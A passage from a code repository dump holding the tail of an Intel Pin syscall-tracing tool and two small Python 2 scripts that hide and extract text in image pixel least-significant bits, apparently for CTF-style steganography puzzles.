CONTEXT *ctxt, SYSCALL_STANDARD std, VOID* v) { 22 | printf("0x%lx\n", PIN_GetSyscallReturn(ctxt, std)); 23 | } 24 | 25 | int main(int argc, char** argv) { 26 | if(PIN_Init(argc,argv)) { 27 | return 1; 28 | } 29 | 30 | PIN_AddSyscallEntryFunction(trace_syscall_entry, 0); 31 | PIN_AddSyscallExitFunction(trace_syscall_exit, 0); 32 | // Start the program, never returns 33 | PIN_StartProgram(); 34 | 35 | return 0; 36 | } 37 | 38 | -------------------------------------------------------------------------------- /stegoextract/README.md: -------------------------------------------------------------------------------- 1 | # stego stuff 2 | 3 | Two tools that use the lsb stego technique to embed and extract files. 4 | -------------------------------------------------------------------------------- /stegoextract/extractstego.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import Image 3 | import sys 4 | 5 | parser = argparse.ArgumentParser(description='Process some integers.') 6 | parser.add_argument("file", help="File to process", type=str) 7 | parser.add_argument("-x", "--hex", dest="hex", action="store_true", help="Display hex dump instead") 8 | parser.add_argument("-n", "--lines", dest="lines", type=int, help="How many lines of the hex dump to display") 9 | parser.add_argument("-z", "--nulls", dest="nulls", type=int, help="How many null bytes until processing stops", default=0) 10 | parser.add_argument("-c", "--color", dest="color", help="Which color to look at (r/g/b), only for some formats", default="r") 11 | parser.add_argument("-m", "--msb", dest="msb", action="store_true", help="Look at MSB instead of LSB", default=False) 12 | args = parser.parse_args() 13 | 14 | def hexdump(data, columns, lines=0): 15 | printable = range(0x21, 0x7f) 16 | buf = "" 17 | num_lines = 0 18 | for i, byte in enumerate(data): 19 | if i%columns == 0: 20 | offset_buf = format(i, '08x')+":" 21 | hex_buf = "" 22 | byte_buf = "" 23 | 24 | hex_buf += byte.encode('hex')+" " 25 | if ord(byte) in printable: 26 | byte_buf += byte 27 | else: 28 | byte_buf += "." 29 | 30 | if i%columns == columns-1 or i == len(data)-1: 31 | buf += offset_buf + " " + hex_buf.ljust(columns*3, ' ') + " " + byte_buf + "\n" 32 | num_lines += 1 33 | 34 | if num_lines == lines: 35 | break 36 | 37 | return buf 38 | 39 | def extract_bmp(image_data, color, bit, max_null_bytes): 40 | pix = image_data.load() 41 | buf = "0b" 42 | count = 0 43 | strbuf = "" 44 | nulls = 0 45 | size = image_data.size 46 | for y in range(size[1]): 47 | for x in range(size[0]): 48 | r,g,b = pix[(x,y)] 49 | if color == "r": 50 | buf += str(r&1) 51 | elif color == "g": 52 | buf += str(g&1) 53 | else: 54 | buf += str(b&1) 55 | count += 1 56 | if count == 8: 57 | char = chr(int(buf,2)) 58 | strbuf += char 59 | if max_null_bytes != 0: 60 | if char == "\x00": 61 | nulls += 1 62 | else: 63 | nulls = 0 64 | if nulls == max_null_bytes: 65 | return strbuf 66 | buf = "0b" 67 | count = 0 68 | return strbuf 69 | 70 | def extract_png(image_data, color, bit, max_null_bytes): 71 | pix = image_data.load() 72 | buf = "0b" 73 | count = 0 74 | strbuf = "" 75 | nulls = 0 76 | size = image_data.size 77 | for y in range(size[1]): 78 | for x in range(size[0]): 79 | r = pix[(x,y)] 80 | buf += str(r&1) 81 | count += 1 82 | if count == 8: 83 | char = chr(int(buf,2)) 84 | strbuf += char 85 | if max_null_bytes != 0: 86 | if char == "\x00": 87 | nulls += 1 88 | else: 89 | nulls = 0 90 | if nulls == max_null_bytes: 91 | return strbuf 92 | buf = "0b" 93 | count = 0 94 | return strbuf 95 | 96 | image = Image.open(args.file) 97 | if image.format == 'BMP': 98 | if args.color not in "rgb": 99 | args.color = "r" 100 | data = extract_bmp(image, args.color, args.msb, args.nulls) 101 | elif image.format == 'PNG': 102 | data = extract_png(image, None, args.msb, args.nulls) 103 | else: 104 | sys.stderr.write("Only BMP/PNG supported!\n") 105 | sys.exit() 106 | 107 | if args.hex: 108 | print hexdump(data, 16, lines=args.lines) 109 | else: 110 | print data 111 | 112 | -------------------------------------------------------------------------------- /stegoextract/writestego.py: -------------------------------------------------------------------------------- 1 | # python writestego.py targetimage.bmp stringtowrite 2 | # text is null terminated automagically 3 | 4 | import Image 5 | import sys 6 | 7 | bmp = Image.open(sys.argv[1]) 8 | pix = bmp.load() 9 | lsb = [] 10 | size = bmp.size 11 | ordrex = range(size[0]) 12 | ordrey = range(size[1]) 13 | rs = "" 14 | gs = "" 15 | bs = "" 16 | buf = "0b" 17 | rtemp = 0 18 | gtemp = 0 19 | btemp = 0 20 | count = 0 21 | strbuf = "" 22 | target = [int(y) for y in ''.join([bin(ord(x))[2:].rjust(8,"0") for x in sys.argv[2]+"\x00"])] 23 | print target 24 | for x in ordrex: 25 | if x >= len(target): 26 | break 27 | r,g,b = pix[(x,0)] 28 | r = r >> 1 << 1 29 | g = g >> 1 << 1 30 | b = b >> 1 << 1 31 | r = r|target[x] 32 | g = g|target[x] 33 | b = b|target[x] 34 | pix[(x,0)] = (r,g,b) 35 | bmp.putpixel((x,0), (r,g,b)) 36 | buf += str(g&1) 37 | count += 1 38 | if count == 8: 39 | strbuf += chr(int(buf,2)) 40 | buf = "0b" 41 | count = 0 42 | bmp.save('lol.bmp') 43 | sys.exit() 44 | print strbuf 45 | lsb = "".join(lsb) 46 | lsb = "".join(chr(int(lsb[i:i+8][::-1],2)) for i in range(0,len(lsb),8)) 47 | print lsb 48 | print rs,gs,bs 49 | --------------------------------------------------------------------------------